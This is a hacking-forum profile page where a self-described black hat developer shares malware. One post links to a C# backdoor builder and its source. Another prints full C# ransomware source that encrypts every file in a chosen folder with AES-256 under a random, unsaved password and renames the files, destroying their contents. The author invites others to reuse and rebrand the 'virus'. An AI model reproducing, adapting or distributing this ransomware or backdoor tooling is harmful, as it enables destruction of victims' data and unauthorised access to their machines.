0bayt

Members
  • Content Count

    48
  • Last visited

Everything posted by 0bayt

  1. Wow how they are doing this?
  2. Wait.. What? How? Not working! @Vassilios
  3. Note : Sorry for my bad english :/ Programming lang :C# Download : [hide]http://www.dosya.tc/server16/w9syl7/BackdoorOlusturucu.exe.html[/hide] Source code : [hide]http://s7.dosya.tc/server11/h4glud/BackdoorOlusturucu.zip.html[/hide] Note : If you are dont trust me, you can compile with source code Note : This program programmed by me if you want you can edit this program and say "i programmed this virus"
  4. Note : Sorry for my bad english :/ Programming lang : C# Algorithm : AES256 [hide] Note : Lang : Turkish (use google or yandex translator ehmm or your turkish friend) using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using System.IO; //Zorunlu! using System.Security.Cryptography; //Zorunlu! namespace FidyeVirüsü { public partial class Form1 : Form { public Form1() { InitializeComponent(); string[] dosyalar = Directory.GetFiles(@"Kriptolonacak dosyaların yolu buraya yazılır isterseniz rasgele şekilde baştan tasarlayabilirsiniz ama mantık diziler üzerinden hazırlanmıştır"); for (int i = 0; i < dosyalar.Length; i++) { Random Parola = new Random(); EncryptFile(dosyalar[i].ToString(), Parola.Next(1, 500).ToString()); //dosyaları dosyalar isimli diziden alır - parola ise 1 ile 500 arasında rasgele bir sayıdan oluşur (methodu inceleyerek daha iyi anlayabilirisiniz) File.Move(dosyalar[i], dosyalar[i]+".şifrelenmişdosyauzantısı"); } } private void Form1_Load(object sender, EventArgs e) { } public void EncryptFile(string file, string password) //Şifrelemeyi yapan methodumuz { byte[] bytesToBeEncrypted = File.ReadAllBytes(file); byte[] passwordBytes = Encoding.UTF8.GetBytes(password); // Hash the password with SHA256 passwordBytes = SHA256.Create().ComputeHash(passwordBytes); byte[] bytesEncrypted = AES_Encrypt(bytesToBeEncrypted, passwordBytes); string fileEncrypted = file; File.WriteAllBytes(fileEncrypted, bytesEncrypted); } public byte[] AES_Encrypt(byte[] bytesToBeEncrypted, byte[] passwordBytes) //algoritmamızın bulunduğu method { byte[] encryptedBytes = null; byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 }; using (MemoryStream ms = new MemoryStream()) { using (RijndaelManaged AES = new RijndaelManaged()) { AES.KeySize = 256; AES.BlockSize = 128; var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000); AES.Key = key.GetBytes(AES.KeySize / 8); AES.IV = key.GetBytes(AES.BlockSize / 8); AES.Mode = CipherMode.CBC; using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write)) { cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length); cs.Close(); } encryptedBytes = ms.ToArray(); } } return encryptedBytes; } } } [/hide] Note : This ransomware only doing crypting Note : This program programmed by me if you want you can edit this program and say "i programmed this virus"
  5. 0bayt

    0bayt

    Hello im 0bayt and im black hat developer